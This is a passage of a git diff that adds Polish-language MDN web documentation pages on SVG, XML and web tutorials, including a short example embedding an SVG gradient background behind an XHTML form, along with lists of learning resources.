('style')}}</small></dd> + <dt><a href="/docs/Web/SVG/Attribute/Conditional_Processing">Atrybuty warunkowego przetwarzania</a></dt> + <dd><small>Przede wszystkim: {{SVGAttr ('requiredExtensions')}}, {{SVGAttr ("systemLanguage")}}</small></dd> + <dt>Atrybuty zdarzeń</dt> + <dd><small><a href="/docs/Web/SVG/Attribute/Events#Global_Event_Attributes">Global event attributes</a>, <a href="/docs/Web/SVG/Attribute/Events#Graphical_Event_Attributes">Graphical event attributes</a></small></dd> + <dt><a href="/docs/Web/SVG/Attribute/Presentation">Presentation Attributes</a></dt> + <dd><small>Most notably: {{SVGAttr('clip-path')}}, {{SVGAttr('clip-rule')}}, {{SVGAttr('color')}}, {{SVGAttr('color-interpolation')}}, {{SVGAttr('color-rendering')}}, {{SVGAttr('cursor')}}, {{SVGAttr('display')}}, {{SVGAttr('fill')}}, {{SVGAttr('fill-opacity')}}, {{SVGAttr('fill-rule')}}, {{SVGAttr('filter')}}, {{SVGAttr('mask')}}, {{SVGAttr('opacity')}}, {{SVGAttr('pointer-events')}}, {{SVGAttr('shape-rendering')}}, {{SVGAttr('stroke')}}, {{SVGAttr('stroke-dasharray')}}, {{SVGAttr('stroke-dashoffset')}}, {{SVGAttr('stroke-linecap')}}, {{SVGAttr('stroke-linejoin')}}, {{SVGAttr('stroke-miterlimit')}}, {{SVGAttr('stroke-opacity')}}, {{SVGAttr('stroke-width')}}, {{SVGAttr("transform")}}, {{SVGAttr('vector-effect')}}, {{SVGAttr('visibility')}}</small></dd> + <dt>ARIA Attributes</dt> + <dd><small><code>aria-activedescendant</code>, <code>aria-atomic</code>, <code>aria-autocomplete</code>, <code>aria-busy</code>, <code>aria-checked</code>, <code>aria-colcount</code>, <code>aria-colindex</code>, <code>aria-colspan</code>, <code>aria-controls</code>, <code>aria-current</code>, <code>aria-describedby</code>, <code>aria-details</code>, <code>aria-disabled</code>, <code>aria-dropeffect</code>, <code>aria-errormessage</code>, <code>aria-expanded</code>, <code>aria-flowto</code>, <code>aria-grabbed</code>, <code>aria-haspopup</code>, <code>aria-hidden</code>, <code>aria-invalid</code>, <code>aria-keyshortcuts</code>, <code>aria-label</code>, <code>aria-labelledby</code>, <code>aria-level</code>, <code>aria-live</code>, <code>aria-modal</code>, <code>aria-multiline</code>, <code>aria-multiselectable</code>, <code>aria-orientation</code>, <code>aria-owns</code>, <code>aria-placeholder</code>, <code>aria-posinset</code>, <code>aria-pressed</code>, <code>aria-readonly</code>, <code>aria-relevant</code>, <code>aria-required</code>, <code>aria-roledescription</code>, <code>aria-rowcount</code>, <code>aria-rowindex</code>, <code>aria-rowspan</code>, <code>aria-selected</code>, <code>aria-setsize</code>, <code>aria-sort</code>, <code>aria-valuemax</code>, <code>aria-valuemin</code>, <code>aria-valuenow</code>, <code>aria-valuetext</code>, <code>role</code></small></dd> +</dl> + +<h2 id="Usage_notes">Usage notes</h2> + +<p>{{svginfo}}</p> + +<h2 id="Specifications">Specifications</h2> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">Specification</th> + <th scope="col">Status</th> + <th scope="col">Comment</th> + </tr> + </thead> + <tbody> + <tr> + <td>{{SpecName("SVG2", "shapes.html#CircleElement", "<circle>")}}</td> + <td>{{Spec2 ("SVG2")}}</td> + <td> </td> + </tr> + <tr> + <td>{{SpecName ("SVG1.1", "shapes.html # CircleElement", "<circle>")}}</td> + <td>{{Spec2 ("SVG1.1")}}</td> + <td>Początkowa definicja</td> + </tr> + </tbody> +</table> + +<h2 id="Zgodność_przeglądarki">Zgodność przeglądarki</h2> + +<div class="hidden">Tabela zgodności na tej stronie jest generowana na podstawie danych strukturalnych. Jeśli chcesz przyczynić się do danych, sprawdź <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> i wyślij nam prośbę o wycofanie.</div> + +<p>{{Compat ("svg.elements.circle")}}</p> + +<h2 id="Zobacz_też">Zobacz też</h2> + +<ul> + <li>Inne podstawowe kształty SVG: <strong>{{SVGElement ('ellipse')}}</strong> , {{SVGElement ('line')}}, {{SVGElement ('polygon')}}, {{SVGElement ('polyline')}}, { {SVGElement ("rect")}}</li> +</ul> diff --git a/files/pl/web/svg/index.html b/files/pl/web/svg/index.html new file mode 100644 index 0000000000..e28579c3d5 --- /dev/null +++ b/files/pl/web/svg/index.html @@ -0,0 +1,100 @@ +--- +title: SVG +slug: Web/SVG +tags: + - SVG + - Wszystkie_kategorie +translation_of: Web/SVG +--- +<p> </p> + +<div class="callout-box"><strong><a href="pl/SVG/Przewodnik">Na początek</a></strong><br> +Kurs mający pomóc w rozpoczęciu nauki SVG.</div> + +<div> +<p><strong>Skalowalna Grafika Wektorowa (SVG)</strong> jest językiem na bazie <a href="pl/XML">XML</a>-a służącym do opisu dwuwymiarowej grafiki wektorowej. Ogólnie SVG jest tym dla grafiki czym XHTML dla tekstu.</p> + +<p>SVG jest podobny w zakresie do technologi Macromedia Flash. Jednakże tym co odróżnia SVG od Flasha jest <a class="external" href="http://www.w3.org/Graphics/SVG/">rekomendacja W3C</a> (tj. standard dotyczący zamiarów i celów) oraz to, że oparty jest on na XML-u, a nie na zamkniętym formacie binarnym. SVG jest również specjalnie zaprojektowany do współpracy z innymi standardami <a class="external" href="http://www.w3.org/">W3C</a> jak <a href="pl/CSS">CSS</a>, <a href="pl/DOM">DOM</a> czy <a class="external" href="http://www.w3.org/AudioVideo/">SMIL</a>.</p> +</div> + +<p> </p> + +<table class="topicpage-table"> + <tbody> + <tr> + <td> + <h4 id="Dokumentacja" name="Dokumentacja"><a>Dokumentacja</a></h4> + + <dl> + <dt><a href="pl/SVG_w_Firefoksie">SVG w Firefoksie</a></dt> + <dd><small>Artykuł opisuje podzbiór i zachowanie specyfikacji SVG 1.1 aktualnie zaimplementowanej w Firefoksie 2.</small></dd> + </dl> + + <dl> + <dt><a href="/pl/docs/Web/SVG/Przewodnik/SVG_w_XHTML_-_Wprowadzenie">Wprowadzenie do użycia SVG w HTML-u</a></dt> + <dd><small>Ten artykuł oraz <a class="external" href="http://developer.mozilla.org/presentations/xtech2005/svg-canvas/SVGDemo.xml">powiązany przykład</a> pokazują jak używać SVG w kodzie, aby dodać obrazek tła do formularza. Pokazuje jak można użyć JavaScriptu i CSS-a do manipulowania obrazkami, w taki sam sposób w jaki czynią to z HTML-em.</small></dd> + </dl> + + <dl> + <dt><a class="external" href="http://jwatt.org/svg/authoring/">SVG - Podręcznik autorski</a></dt> + <dd><small>Omawiane są tutaj najczęstsze błędy w SVG oraz wyjaśnia co programiści czynią, by je naprawić.</small></dd> + </dl> + + <dl> + <dt><a href="pl/Projekt_Mozilla_SVG">Projekt Mozilla SVG</a></dt> + <dd><small>Przegląd projektu Mozilla SVG.</small></dd> + </dl> + + <dl> + <dt><a href="pl/Mozilla_SVG_FAQ">Mozilla SVG FAQ</a></dt> + <dd><small>Powyższy FAQ oparty został początkowo na grupie dyskusyjnej mozilla.dev.tech.svg oraz forach forums.mozillazine.org.</small></dd> + </dl> + + <p><span class="alllinks"><a>Pokaż wszystkie...</a></span></p> + </td> + <td> + <h4 id="Spo.C5.82eczno.C5.9B.C4.87" name="Spo.C5.82eczno.C5.9B.C4.87">Społeczność</h4> + + <ul> + <li>Obejrzyj fora Mozilli...</li> + </ul> + + <p>{{ DiscussionList("dev-tech-svg", "mozilla.dev.tech.svg") }}</p> + + <ul> + <li><a class="external" href="http://wiki.svg.org/">SVG Wiki</a></li> + </ul> + + <h4 id="Narz.C4.99dzia" name="Narz.C4.99dzia">Narzędzia</h4> + + <ul> + <li><a class="external" href="http://www.w3.org/Graphics/SVG/Test/">SVG Test Suite</a></li> + <li><a class="external" href="http://jiggles.w3.org/svgvalidator/">Walidator SVG</a></li> + </ul> + + <p><span class="alllinks"><a>Pokaż wszystkie...</a></span></p> + + <h4 id="Przyk.C5.82ady" name="Przyk.C5.82ady">Przykłady</h4> + + <ul> + <li><a class="external" href="http://www.croczilla.com/svg/samples/">Przykłady SVG</a> (croczilla.com)</li> + <li><a class="external" href="http://www.carto.net/papers/svg/samples/">Więcej przykładów</a> (carto.net)</li> + </ul> + + <h4 id="Powi.C4.85zane_tematy" name="Powi.C4.85zane_tematy">Powiązane tematy</h4> + + <dl> + <dd><a href="pl/XML">XML</a>, <a href="pl/HTML/Canvas">Canvas</a></dd> + </dl> + </td> + </tr> + </tbody> +</table> + +<p><span class="comment">Categories</span></p> + +<p><span class="comment">Interwiki Language Links</span></p> + +<p> </p> + +<p>{{ languages( { "en": "en/SVG", "es": "es/SVG", "fr": "fr/SVG", "it": "it/SVG", "ja": "ja/SVG", "pt": "pt/SVG" } ) }}</p> diff --git a/files/pl/web/svg/inne_zasoby/index.html b/files/pl/web/svg/inne_zasoby/index.html new file mode 100644 index 0000000000..6e5f2508b8 --- /dev/null +++ b/files/pl/web/svg/inne_zasoby/index.html @@ -0,0 +1,19 @@ +--- +title: Inne zasoby +slug: Web/SVG/Inne_zasoby +tags: + - SVG + - Wszystkie_kategorie +translation_of: Web/SVG/Other_Resources +--- +<p> +</p> +<h3 id="Wszystkie_inne_zasoby" name="Wszystkie_inne_zasoby"> Wszystkie inne zasoby </h3> +<ul><li> <a class="external" href="http://www.croczilla.com/svg/">Zasoby Mozilla SVG</a> +</li><li> <a class="external" href="http://svg.org/">SVG.org</a> +</li><li> <a class="external" href="http://www.svgx.org/">SVGX.org</a> +</li><li> <a class="external" href="http://www.w3.org/Graphics/SVG/">Strona domowa W3C SVG</a> +</li><li> <a class="external" href="http://www.w3.org/Graphics/SVG/Test/">Sprawdzian obsługi SVG</a> +</li><li> <a class=" external" href="http://wiki.svg.org/index.php?title=Server_Configuration" rel="freelink">http://wiki.svg.org/index.php?title=..._Configuration</a> +</li></ul> +{{ languages( { "en": "en/SVG/Other_Resources", "ja": "ja/SVG/Other_Resources" } ) }} diff --git a/files/pl/web/svg/przewodnik/index.html b/files/pl/web/svg/przewodnik/index.html new file mode 100644 index 0000000000..7f150c7110 --- /dev/null +++ b/files/pl/web/svg/przewodnik/index.html @@ -0,0 +1,28 @@ +--- +title: SVG Poradnik +slug: Web/SVG/Przewodnik +tags: + - SVG + - 'SVG:Przewodnik' + - Wszystkie_kategorie +translation_of: Web/SVG/Tutorial +--- +<p> </p> + +<p><br> + Poniższy przewodnik opisuje wersję 1.1 Skalowalnej Grafiki Wektorowej <a href="pl/SVG">SVG</a>, a dialektu XML W3C częściowo zaimplementowanego w Firefoksie 1.5, Operze 8.5 oraz innych przeglądarkach.</p> + +<p>Jest on na <strong>bardzo</strong> wczesnym etapie rozwoju. Każda pomoc będzie doceniona!</p> + +<h5 id="Wprowadzenie" name="Wprowadzenie">Wprowadzenie</h5> + +<ul> + <li><a href="https://developer.mozilla.org/pl/docs/Web/SVG/Przewodnik/Introduction">Wprowadzenie</a></li> + <li><a href="pl/SVG/Przewodnik/Na_pocz%c4%85tek">Na początek</a></li> + <li>Wiele innych wpisów</li> + <li><a href="pl/SVG/Przewodnik/Inne_przewodniki">Inne przewodniki</a></li> +</ul> + +<div class="noinclude"> </div> + +<p>{{ languages( { "en": "en/SVG/Tutorial", "fr": "fr/SVG/Tutoriel", "ja": "ja/SVG/Tutorial" } ) }}</p> diff --git a/files/pl/web/svg/przewodnik/svg_w_xhtml_-_wprowadzenie/index.html b/files/pl/web/svg/przewodnik/svg_w_xhtml_-_wprowadzenie/index.html new file mode 100644 index 0000000000..f816909090 --- /dev/null +++ b/files/pl/web/svg/przewodnik/svg_w_xhtml_-_wprowadzenie/index.html @@ -0,0 +1,78 @@ +--- +title: SVG w XHTML - Wprowadzenie +slug: Web/SVG/Przewodnik/SVG_w_XHTML_-_Wprowadzenie +tags: + - SVG + - Wszystkie_kategorie +translation_of: Web/SVG/Tutorial/SVG_In_HTML_Introduction +--- +<p> +</p> +<h3 id="Podsumowanie"> Podsumowanie </h3> +<p>Ten artykuł oraz powiązany z nim przykład pokazują, jak używać <a href="pl/SVG">SVG</a> osadzonego w <a href="pl/XHTML">XHTML</a>, jako tła dla formularza. Pokazuje ponadto, jak <a href="pl/JavaScript">JavaScript</a> i <a href="pl/CSS">CSS</a> mogą być zastosowane do manipulowania obrazem w analogiczny sposób, jak kodem XHTML. Uwaga: poniższy przykład będzie działał wyłącznie w przeglądarkach obsługujących integrację XHTML (nie HTML) z SVG (jak np. Firefox 1.5 Beta 1 - <i>przyp. tłum.</i>) +</p> +<h3 id="Kod_.C5.BAr.C3.B3d.C5.82owy"> Kod źródłowy </h3> +<p>Poniżej przedstawiono kod źródłowy <a class="external" href="http://developer.mozilla.org/presentations/xtech2005/svg-canvas/SVGDemo.xml">przykładu zastosowania</a> SVG osadzonego w XHTML: +</p> +<pre><html xmlns="http://www.w3.org/1999/xhtml"> +<head> + <title>XTech SVG Demo</title> + <style> + stop.begin { stop-color:yellow; } + stop.end { stop-color:green; } + body.invalid stop.end { stop-color:red; } + #err { display:none; } + body.invalid #err { display:inline; } + </style> + <script> + function signalError() { + document.getElementById('body').setAttribute("class", "invalid"); + } + </script> +</head> +<body id="body" + style="position:absolute; z-index:0; border:1px solid black; left:5%; top:5%; width:90%; height:90%;"> + <form> + <fieldset> + <legend>HTML Form</legend> + <p><label>Enter something:</label> + <input type="text"/> + <span id="err">Incorrect value!</span></p> + <p><button onclick="signalError();">Activate!</button></p> + </fieldset> + </form> + <svg xmlns="http://www.w3.org/2000/svg" version="1.1" + viewBox="0 0 100 100" preserveAspectRatio="xMidYMid slice" + style="width:100%; height:100%; position:absolute; top:0; left:0; z-index:-1;"> + <linearGradient id="gradient"> + <stop class="begin" offset="0%"/> + <stop class="end" offset="100%"/> + </linearGradient> + <rect x="0" y="0" width="100" height="100" style="fill:url(#gradient)" /> + <circle cx="50" cy="50" r="30" style="fill:url(#gradient)" /> + </svg> +</body> +</html></pre> +<h3 id="Om.C3.B3wienie"> Omówienie </h3> +<p>Powyższa strona składa się głównie ze zwykłego XHTML, CSS i JavaScriptu. Interesującą częścią +jest element <svg>. Ten element i jego elementy potomne zostały zadeklarowane w przestrzeni nazw SVG. Element ten zawiera gradient oraz dwie figury nim wypełnione. Kolory ograniczników (ang. <i>stops</i>) gradientu zostały ustawione przez CSS. Kiedy użytkownik wprowadzi coś nieprawidłowego do pola formularza, skrypt ustawia atrybut "<code>invalid</code>" na elemencie <body>, a odpowiednia regułka CSS zmienia końcowy kolor na czerwony. Kolejna regułka CSS wyświetla komunikat o błędzie. +</p><p>To podejście ma następujące zalety: +</p> +<ul><li> zastosowaliśmy zwykły formularz XHTML, który mógłby być częścią istniejącej strony www i dodaliśmy atrakcyjne, interaktywne tło +</li><li> zachowana została wsteczna kompatybilność z przeglądarkami, które nie obsługują SVG; po prostu nie pojawi się w nich żadne tło +</li><li> rozwiązanie to jest proste i wydajne +</li><li> obraz dynamicznie dopasowuje się do żądanych rozmiarów w inteligentny sposób +</li><li> możemy mieć deklaratywne regułki stylów działające i z HTML, i z SVG +</li><li> ten sam skrypt manipuluje zarówno XHTML jak i SVG +</li><li> dokument jest całkowicie oparty na standardach +</li></ul> +<h3 id="Szczeg.C3.B3.C5.82y"> Szczegóły </h3> +<p>Atrybut <code>viewBox</code> tworzy logiczny układ współrzędnych dla obrazu SVG. W tym przypadku nasz obraz jest wyświetlany w oknie (<i>viewport</i>) 100 na 100. +</p><p>Atrybut <code>preserveAspectRatio</code> sprawia, że stosunek wymiarów obrazu musi być zachowany, centrując obraz, zmieniając jego wymiary do największej możliwej długości lub szerokości (zależnie od tego, która jest większa) i odcinając ewentualne przepełnienie. +</p><p>Atrybut <code>style</code> przypina element SVG do tła formularza. +</p> +<h3 id="Inne_strony"> Inne strony </h3> +<ul><li> Inny przykład SVG w XHTML: <a class="external" href="http://developer.mozilla.org/en/docs/index.php?title=SVG:Namespaces_Crash_Course:Example">Rój pyłków (en)</a> +</li><li> Strona <a class="external" href="http://svg-whiz.com/wiki/index.php?title=Inline_SVG">Inline SVG</a> na wiki SVG +</li></ul> +{{ languages( { "en": "en/SVG_In_HTML_Introduction", "fr": "fr/Introduction_\u00e0_SVG_dans_HTML", "ja": "ja/SVG_In_HTML_Introduction" } ) }} diff --git a/files/pl/web/tutorials/index.html b/files/pl/web/tutorials/index.html new file mode 100644 index 0000000000..f05eeea0ad --- /dev/null +++ b/files/pl/web/tutorials/index.html @@ -0,0 +1,154 @@ +--- +title: Tutorials +slug: Web/Tutorials +translation_of: Web/Tutorials +--- +<p>Linki na tej stronie prowadzą do wielu różnych tutoriali i materiałów treningowych. Nieważne, czy dopiero zaczynasz, uczysz się podstaw czy może nawet jesteś starym wyjadaczem w tworzeniu stron, tutaj znajdziesz pomocne materiały. Są one stworzone przez patrzące w przyszłość firmy oraz deweloperów, którzy używają otwartych standardów i najlepszych praktyk w tworzeniu stron, którymi następnie dzielą się na wolnych licencjach takich jak Creative Commons.</p> + +<div class="row topicpage-table"> +<div class="section"> +<h2 class="Documentation" id="Documentation" name="Documentation">Tutoriale HTML</h2> + +<h3 id="Wprowadzenie">Wprowadzenie</h3> + +<dl> + <dt><a href="/en-US/docs/Web/Guide/HTML/Introduction">Wprowadzenie do HTML</a></dt> + <dd>O tym, czym jest HTML, co on robi, jego skrótowej historii a także jak wygląda struktura dokumentu HTML. Kolejne artykuły rozwijają o wiele bardziej poszczególne części HTML. </dd> + <dt><a href="http://reference.sitepoint.com/html/page-structure" rel="external">Podstawowa struktura strony internetowej</a> (SitePoint)</dt> + <dd>Naucz się jak elementy HTML pasują razem ze sobą.</dd> + <dt><a href="https://developer.mozilla.org/en-US/docs/HTML/Element">MDN HTML Informacje o Elementach </a></dt> + <dd>Wszechstronne źródło informacji o elementach HTML i jak różne przeglądarki je wspierają.</dd> + <dt><a href="http://wikiversity.org/wiki/Web_Design/HTML_Challenges" rel="external">Wyzwania HTML</a> (Wikiversity)</dt> + <dd>Podejmij wyzwanie - użyj ich do szlifowania swoich umiejętności w HTML (przykładowo "Czy powinienem użyć elementu <h2> czy <strong>?".</dd> + <dt><a href="http://codeavengers.com/" title="http://codeavengers.com/">CodeAvengers</a> (CodeAvengers.com)</dt> + <dd>Code Avengers to przyjemny i efektywny sposób nauki programowania aplikacji internetowych i gier z użyciem HTMLa, CSSa, i JavaScriptu.</dd> +</dl> + +<h3 id="Poziom_zaawansowany">Poziom zaawansowany</h3> + +<dl> + <dt><a href="https://developer.mozilla.org/en-US/docs/Tips_for_Authoring_Fast-loading_HTML_Pages">Wskazówki tworzenia szybko ładujących się stron HTML</a></dt> + <dd>Zoptymalizuj strony, aby były one bardziej responsywne dla użytkowników i jednocześnie zmniejsz obciążenie swojego serwera i połączenia z Internetem.</dd> + <dt><a href="http://www.html5rocks.com/tutorials/" rel="external">Tutoriale HTML5 </a> (HTML5 Rocks)</dt> + <dd>Wybierz wycieczkę z oprowadzeniem poprzez kod, który używa funkcjonalności zaprezentowanych w HTML5.</dd> + <dt><a href="http://www.alistapart.com/articles/semanticsinhtml5/" rel="external">Semantyka w HTML5</a> (A List Apart)</dt> + <dd>Naucz się istotnej składni, którą można rozszerzyć, a także jest kompatybilna wstecz i naprzód.</dd> + <dt><a href="https://developer.mozilla.org/en-US/docs/Canvas_tutorial">Canvas Tutorial</a></dt> + <dd>Naucz się jak tworzyć grafikę poprzez użycie skryptów używających elementu canvas.</dd> + <dt><a href="http://html5doctor.com/" rel="external">HTML5 Doktor</a></dt> + <dd>Artykuły o obecnym wykorzystaniu HTML5.</dd> + <dt><a href="http://www.elated.com/articles/html5-audio/" rel="external">Przyjemność dźwięku w HTML5</a> (Elated)</dt> + <dd>Naucz się użycia elementu audio w HTML aby być w stanie łatwo dołączać dźwięk do Twoich stron. Wiele przykładów jest zawartych w tym tutorialu.</dd> +</dl> + +<h2 class="Documentation" id="Documentation" name="Documentation">Tutoriale Javascript</h2> + +<h3 id="Poziom_wstępny">Poziom wstępny</h3> + +<dl> + <dt><a href="http://www.codecademy.com/">Codecademy</a> (Codecademy)</dt> + <dd>Codecademy to prosta droga do nauki pisania w JavaScripcie. Jest interaktywny i możesz z niego korzystać ze znajomymi.</dd> + <dt><a href="https://developer.mozilla.org/en-US/docs/JavaScript/Getting_Started">Getting Started with JavaScript</a></dt> + <dd>What is JavaScript and how can it help you?</dd> + <dt><a href="http://docs.webplatform.org/wiki/tutorials/javascript_best_practices" rel="external">JavaScript Best Practices</a><a href="http://docs.webplatform.org/wiki/tutorials/javascript_best_practices" title="http://docs.webplatform.org/wiki/tutorials/javascript_best_practices"> </a>(WebPlatform.org)</dt> + <dd>Learn about some of the obvious and (not so) obvious best practices when writing JavaScript.</dd> + <dt><a href="http://codeavengers.com/" title="http://codeavengers.com/">CodeAvengers</a> (CodeAvengers.com)</dt> + <dd>Code Avengers is the fun, effective way to learn to code web apps and games with HTML, CSS, and JavaScript.</dd> + <dt><a href="http://codecombat.com/#">CodeCombat</a> (codecombat.com)</dt> + <dd>CodeCombat is a game designed to teach you JavaScript. It is Open Source.</dd> +</dl> + +<h3 id="Intermediate_level">Intermediate level</h3> + +<dl> + <dt><a href="https://developer.mozilla.org/en-US/docs/A_re-introduction_to_JavaScript">A Re-Introduction to JavaScript</a></dt> + <dd>A recap of the JavaScript programming language aimed at intermediate-level developers.</dd> + <dt><a href="http://eloquentjavascript.net/contents.html" rel="external">Eloquent JavaScript</a></dt> + <dd>A comprehensive guide to intermediate and advanced JavaScript methodologies.</dd> + <dt><a href="http://www.addyosmani.com/resources/essentialjsdesignpatterns/book/" rel="external">Essential JavaScript Design Patterns</a> (Addy Osmani)</dt> + <dd>An introduction to essential JavaScript design patterns.</dd> + <dt><a href="http://www.yuiblog.com/blog/2007/01/24/video-crockford-tjpl/" rel="external">The JavaScript Programming Language</a> (YUI Blog)</dt> + <dd>Douglas Crockford explores the language as it is today, and how it came to be.</dd> + <dt><a href="https://developer.mozilla.org/en-US/docs/Introduction_to_Object-Oriented_JavaScript">Introduction to Object-Oriented JavaScript</a></dt> + <dd>Learn about the JavaScript object model.</dd> +</dl> +</div> + +<div class="section"> +<h3 id="Advanced_level">Advanced level</h3> + +<dl> + <dt><a href="https://developer.mozilla.org/en-US/docs/JavaScript/Guide">JavaScript Guide</a></dt> + <dd>A comprehensive, regularly updated guide to JavaScript for all levels of learning from beginner to advanced.</dd> + <dt><a href="http://ejohn.org/apps/learn/" rel="external">Learning Advanced JavaScript</a> (John Resig)</dt> + <dd>John Resig's guide to advanced JavaScript.</dd> + <dt><a href="http://www.elated.com/articles/javascript-dom-intro/" rel="external">Introducing the JavaScript DOM</a> (Elated)</dt> + <dd>What is the Document Object Model, and why is it useful? This article gives you a gentle introduction to this powerful JavaScript feature.</dd> + <dt><a href="http://yuiblog.com/blog/2006/10/20/video-crockford-domtheory/" rel="external">An Inconvenient API: The Theory of the DOM</a> (YUI Blog)</dt> + <dd>Douglas Crockford explains the Document Object Model.</dd> + <dt><a href="http://yuiblog.com/blog/2006/11/27/video-crockford-advjs/" rel="external">Advanced JavaScript</a> (YUI Blog)</dt> + <dd>Douglas Crockford looks closely at code patterns from which JavaScript programmers can choose in authoring their applications.</dd> + <dt><a href="http://bonsaiden.github.com/JavaScript-Garden/" rel="external">JavaScript Garden</a></dt> + <dd>Documentation of the most quirky parts of JavaScript.</dd> + <dt><a href="http://webcache.googleusercontent.com/search?q=cache:CJYRO48hw9EJ:stackoverflow.com/questions/394601/which-javascript-framework-jquery-vs-dojo-vs" rel="external">Which JavaScript Framework?</a> (StackOverflow)</dt> + <dd>Advice on choosing a JavaScript framework.</dd> + <dt><a href="http://yuiblog.com/blog/2008/07/22/non-blocking-scripts/" rel="external">Non-Blocking JavaScript Downloads</a> (YUI Blog)</dt> + <dd>Tips on improving the download performance of pages containing JavaScript.</dd> + <dt><a href="http://shichuan.github.io/javascript-patterns" rel="external">Javascipt Patterns</a></dt> + <dd>A JavaScript pattern and antipattern collection that covers function patterns, jQuery patterns, jQuery plugin patterns, design patterns, general patterns, literals and constructor patterns, object creation patterns, code reuse patterns, DOM.</dd> +</dl> + +<h2 class="Documentation" id="Documentation" name="Documentation">CSS tutorials</h2> + +<h3 id="Introductory_level">Introductory level</h3> + +<dl> + <dt><a href="https://developer.mozilla.org/en-US/docs/CSS/Getting_Started">CSS Getting Started</a></dt> + <dd>This tutorial introduces you to Cascading Style Sheets (CSS). It guides you through the basic features of CSS with practical examples that you can try for yourself on your own computer.</dd> + <dt><a href="http://en.wikiversity.org/wiki/Web_Design/CSS_Classes" rel="external">CSS Selector Classes</a> (Wikiversity)</dt> + <dd>What are classes in CSS?</dd> + <dt><a href="http://en.wikiversity.org/wiki/Web_Design/External_CSS" rel="external">External CSS</a> (Wikiversity)</dt> + <dd>Using CSS from an external style sheet.</dd> + <dt><a href="http://www.w3.org/MarkUp/Guide/Style" rel="external">Adding a Touch of Style</a> (W3C)</dt> + <dd>A brief beginner's guide to styling web pages with CSS.</dd> + <dt><a href="https://developer.mozilla.org/en-US/docs/Common_CSS_Questions">Common CSS Questions</a></dt> + <dd>Common questions and answers for beginners.</dd> + <dt><a href="http://codeavengers.com/" title="http://codeavengers.com/">CodeAvengers</a> (CodeAvengers.com)</dt> + <dd>Code Avengers is the fun, effective way to learn to code web apps and games with HTML, CSS, and JavaScript.</dd> + <dt><a href="http://techstream.org/Web-Design/CSS-selectors" title="http://codeavengers.com/">CSS Selectors</a> (TechStream.org)</dt> + <dd>Quite nice and detailed overview of CSS selectors.</dd> +</dl> + +<h3 id="Intermediate_level_2">Intermediate level</h3> + +<dl> + <dt><a href="https://developer.mozilla.org/en-US/docs/CSS/CSS_Reference">CSS Reference</a></dt> + <dd>Complete reference to CSS, with details on support by Firefox and other browsers.</dd> + <dt><a href="http://en.wikiversity.org/wiki/Web_Design/CSS_challenges" rel="external">CSS Challenges</a> (Wikiversity)</dt> + <dd>Flex your CSS skills, and see where you need more practice.</dd> + <dt><a href="http://www.html.net/tutorials/css/" rel="external">Intermediate CSS Concepts</a> (HTML.net)</dt> + <dd>Grouping, pseudo-classes, and more.</dd> + <dt><a href="http://www.alistapart.com/articles/css-positioning-101/" rel="external">CSS Positioning 101</a> (A List Apart)</dt> + <dd>Using positioning for standards-compliant, table-free layout.</dd> + <dt><a href="http://www.alistapart.com/articles/progressiveenhancementwithcss/" rel="external">Progressive Enhancement with CSS</a> (A List Apart)</dt> + <dd>Integrate progressive enhancement into your web pages with CSS.</dd> + <dt><a href="http://www.alistapart.com/articles/fluidgrids/" rel="external">Fluid Grids</a> (A List Apart)</dt> + <dd>Design layouts that fluidly resize with the browser window, while still using a typographic grid.</dd> +</dl> + +<h3 id="Advanced_level_2">Advanced level</h3> + +<dl> + <dt><a href="https://developer.mozilla.org/en-US/docs/CSS/Using_CSS_transforms">Using CSS Transforms</a></dt> + <dd>Apply rotation, skewing, scaling, and translation using CSS.</dd> + <dt><a href="https://developer.mozilla.org/en-US/docs/CSS/CSS_transitions">CSS Transitions</a></dt> + <dd>CSS transitions, part of the draft CSS3 specification, provide a way to animate changes to CSS properties, instead of having the changes take effect instantly.</dd> + <dt><a href="http://www.html5rocks.com/tutorials/webfonts/quick/" rel="external">Quick Guide to Implement Web Fonts with @font-face</a> (HTML5 Rocks)</dt> + <dd>The @font-face feature from CSS3 allows you to use custom typefaces on the web in an accessible, manipulatable, and scalable way.</dd> + <dt><a href="http://davidwalsh.name/starting-css" rel="external">Starting to Write CSS</a> (David Walsh)</dt> + <dd>An introduction to tools and methodologies to write more succinct, maintainable, and scalable CSS.</dd> +</dl> +</div> +</div> + +<p> </p> diff --git a/files/pl/web/xml/index.html b/files/pl/web/xml/index.html new file mode 100644 index 0000000000..63fd3a53f6 --- /dev/null +++ b/files/pl/web/xml/index.html @@ -0,0 +1,17 @@ +--- +title: 'XML: Rozszerzalny Język Znaczników' +slug: Web/XML +tags: + - Draft + - Landing + - NeedsTranslation + - TopicStub + - Web + - XML +translation_of: Web/XML +--- +<p>{{QuickLinksWithSubpages("/en-US/docs/Web/XML")}}{{Draft}}</p> + +<p class="summary">The <strong>Extensible Markup Language</strong> is a strict serialisation of the <a href="/en-US/docs/Web/API/Document_Object_Model">Document Object Model</a>.</p> + +<p>{{LandingPageListSubpages}}</p> diff --git a/files/pl/web/xml/wprowadzenie_do_xml-a/index.html b/files/pl/web/xml/wprowadzenie_do_xml-a/index.html new file mode 100644 index 0000000000..fbc828653f --- /dev/null +++ b/files/pl/web/xml/wprowadzenie_do_xml-a/index.html @@ -0,0 +1,46 @@ +--- +title: Wprowadzenie do XML-a +slug: Web/XML/Wprowadzenie_do_XML-a +tags: + - CSS + - HTML + - Wszystkie_kategorie + - XML + - XSLT +translation_of: Web/XML/XML_introduction +--- +<p> +</p><p><span>Summary: This article introduces the 'eXtensible Markup Language' (XML) and tells of it's uses.</span> +</p> +<h3 id="Czym_jest_XML.3F"> Czym jest XML? </h3> +<p>XML, akronim od <b>Extensible Markup Language</b> (<b>Rozszerzalny Język Znaczników</b>), jest językiem znaczników tworzonym przez <a class="external" href="http://www.w3.org/">W3C</a> do celów ogólnych. XML jest także podjęzykiem dla SGML-a. +</p><p>Wiele popularnych języków znaczników bazuje na XMLu, jak np. <a href="pl/XHTML">XHTML</a>, <a href="pl/MathML">MathML</a>, <a href="pl/SVG">SVG</a>, <a href="pl/XUL">XUL</a> i inne takie jak <a href="pl/RSS">RSS</a> oraz <a href="pl/RDF">RDF</a>. +</p> +<h3 id="Czemu_HTML_nie_dzia.C5.82a.3F"> Czemu HTML nie działa? </h3> +<p>Składnia HTML-a jest ustalona, HTML służy wyłącznie do celów prezentacji danych, natomiast XML służy zarówno do prezentacji jak i obróbki treści. +</p><p>HTML jest ograniczony w trzech aspektach: "inteligencji" opisu informacji, pielęgnacji oraz adaptowalności kodu, w których XML jest właśnie silny: 